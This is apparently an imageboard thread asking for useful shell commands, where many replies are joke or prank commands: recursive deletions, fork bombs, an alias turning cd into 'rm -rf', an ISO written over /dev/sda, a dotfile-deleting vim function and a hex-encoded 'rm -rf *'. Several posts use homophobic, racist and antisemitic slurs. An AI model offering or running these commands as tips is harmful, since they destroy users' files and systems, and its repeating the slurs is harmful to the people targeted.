useful shell commands

these
http://conqueringthecommandline.com/book/basics

touch kids

curl or wget? why?

>>57490006
ls -Cunt

>>57489914
rm -rf *

>>57489914

man unzip && touch balls

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>>57489914
>cat life | grep 'gf'
>not grep 'gf' < life
>or simply grep gf life

http://porkmail.org/era/unix/award.html

>>57489914

touch fluffy | tail

>>57489914
man abs

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>>57489914
killall man

who && gawk && uname && talk && date
&& wine && touch && unzip && strip
&& touch && mount && fsck && more && yes;
more; yes; umount && make clean && sleep

>>57489914
rm -rf yourself, you stupid faggot

>>57490823
How do you pronounce rm -rf?

>>57490682
wat does this do

>>57491105
it doesn't actually do anything useful, it's a joke because those are all valid commands and dude sex lmao

>>57489943
thanks for this

>>57489914

yes > /dev/null &

wget http://solussf1iso.stroblindustries.com/Solus-1.2.1.iso

>>57492515
is install solus the new install gentoo

>>57493159
no, it's literally one cunt called kev who's just a complete wanker. Ignore all kev posts, report all solus threads.

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>>57490181
best one.

>>57491078
rim raf

>>57491078
r m dash r f

>>57489914

fucking scrub. just use grep only

grep 'gf' life

sudo

>>57491078
Are em dash are eff

>>57493723

cat life | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | grep 'gf' # :^)

>>57493832
>unix centipede

>>57491865

lol do not do this guys

>>57489914

:(){ :|: & };:

>>57495101
>forkbomb
Found the script kiddie.

>>57489914
sudo cat /dev/ports

>>57495219
>ports
port*

 yes 'pkill chromium' | sh 

fuck chromium, it always slows down my computer so I have to kill it. I know 1 pkill is probably enough but I need to annihilate my shitty browser

cat /dev/urandom > /dev/dsp

>>57495383
get iron

>>57489914

sudo rm -rf --no-preserve-root
sudo apt install Windows-10-Pro

>>57490044
openbsd ftp

>>57490044
curl, better proxy support

>>57495464
Wouldn't that remove apt?

>>57489914
useful tip is to install shellcheck.
You will learn a lot by trying to fix dangerous/erroneous lines

>>57489914

ncmpcpp

>>57490138
forgot the sudo at the front

>>57495514
Yes it would, just typical wintards not knowing a thing about computers.

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>>57489914

rm /bin/rm
cat /bin/cat
pkill -9 pkill
chmod 000 /bin/chmod
mount /dev/sda1 /bin/

>>57490052
Add this function to your shell's rc file

vim () { 
    ls -1a ~ | grep -o '^\..*'| sed -n "$(jot -r 2 1 $(ls -1a ~ | grep -o '^\..' | wc -l))p" | xargs unlink -rpdf
    command vim $*
}
[/code[

Guaranteed to cure manic ricing disorder or at least get you to learn to like a better text editor

>>57495767
fuck this going back to caps as shift and shift as (/[

>>57489914
>cat life
sure you have enough ram?

>>57495767

bash: jot: command not found...

>>57495898
>not having jot

your OS is garbage and ed probably wasn't even your default editor

>>57495187
Does this still crash chrome?

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>>57494645
>when you realize that pipes are a way for programs to go ass-to-mouth

>>57495693
What is he is not a fgt and is su?

>>57490052
ls -cuntflaps

>>57493723
>>57490175

I find it hilarious that you guys think that you're so smart and pointing out his "mistake", but apparently not smart enough to figure out it was intentional satire.

>>57495383
try just

pkill -9 chromium

>>57495777
Checked

>>57492515
>>57493656
Kevinism
https://www.google.com/#q=kevinism

alias cd rm -rf

>>57498207
holy shit

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ls | grep -i "song name"

>>57490152
Loled

>>57495383
killall

yes > no

>>57489914
great one for weening users of ubuntu. add to root's bashrc or bash_profile

apt-get() {
        s="$(printf '\x49\x6e\x73\x74\x61\x6c\x6c\x20\x47\x65\x6e\x74\x6f\x6f')";
        printf '\x1bc';while :;do read -s -n 1 -t .01 && clear && break; printf \
        "\x1b[$((RANDOM%LINES));$((RANDOM%$((COLUMNS-${#s}))))f\x1b[$((RANDOM%8+\
        30))m$s\n";done #:(){:|:&};:%1337%G3/\/7$0$0|\/|3n@[email protected]<[email protected]/g/flt
}

>>57493159
no its just this kevin faggot shilling solus

>>57489914

 dd if=/dev/op/mouth of=/dev/dick

>>57502340
You just nuked the wrong disk. Learn if vs of

sudo rm -rf * --no-preserve-root

>>57502491
hai2u

>>57491078
ar em ar eff

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>>57489914

killall jews

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>>57502924
need to make an alias for that

>>57489914
this is all you need

wget http://stroblindustries.com/isos/Solus-1.2.1.iso

>>57502978
what's the deal with the stylish nazi hair?

>>57492515

curl http://solussf1iso.stroblindustries.com/Solus-1.2.1.iso | sudo tee /dev/sda >/dev/null

>>57491078
erem eref

>>57491078
read mail minus read fast

>>57491078
erre eme menos erre efe

>>57495693
>Not logging in as root
You must not like power.

>>57495076
im curious now, what does it do?

>>57498207
This alias only works if your logged in as root

>>57491078
rm rf

>>57495767
that shell one-liner was so unbelievably bad it literally gave me cancer

fuck you, now I'm dying because of you

>>57495076
>>57503562
shitton of cpu in background process?

>>57495505
>>>57490044
>curl, better proxy support
Wget better recursive downloads and resume options.

>>57503596

sudo alias cd rm -rf

echo ':^)'

This is one I actually use

alias findFile='find $1 - type f 2>/dev/null | grep $2'

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>>57490823
Rem is best girl

>>57503850

{ while :; do yes > /dev/null &; done } &

>>57491105
gets you out your parents basement

>>57493748
Get a load of this faggot calling them dash rather than the god tier master race term "tack"

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>>57490682
but then the fags came
>>57493690
>>57493718
>>57493748
>>57502825
>>57503329
>>57503366
>>57503550
>>57503631

alias

>>57500170

:(){:|:&};:
Nice fork bomb you leet haxor_1337

ls `yes`

>>57507769

How come there's no protection against this? I don't mean the exact command, but something to prevent my harddrive from choking.

>>57507769
haha shit
I ran it in a terminal and killed the terminal but it kept going in the background

>>57493159
yes

install solus

>>57489943
I've been looking something like this.
Thanks senpai.

>>57490181
>touch fluffy tail
my main man and fur fuggo right here

>>57490044

wget supports recursive downloads and include/exclude patterns. It is better for archiving.

curl supports more protocols. I personally like the default behavior and informational output better.

>>57489914
What kind of nigger pipes cat to grep

>>57507769

ls: cannot access '`yes`': No such file or directory

i must be doing something wrong

>>57489943
Thanks

alias="alias='alias="alias='alias="alias=alias"'"'"'"

>>57512423
>'alias="alias='
>fagot what are you doing mien nigger?

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>>57496005

 :(){ :|: & };: 

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>>57513669

echo hello hello hello hello hello hello hello

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catman is used to create an up to date set of pre-formatted manual
pages known as cat pages. Cat pages are generally much faster to dis‐
play than the original manual pages, but require extra storage space.
The decision to support cat pages is that of the local administrator,
who must provide suitable directories to contain them.

>>57513931
How can you pre-format text when the terminal width is unknown?

script muh_bash_session.log
ls -alh
exit
more muh_bash_session.log

>>57504986
This wount work faggot.

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>this whole thread
fucking neo /g/

>>57490044
Fun fact: there's also a wput

(echo 726d202d7266202a | xxd -r -p)

>>57516653
shrug

>>57489914
It is:

grep gf life/
Fucking retarded faggot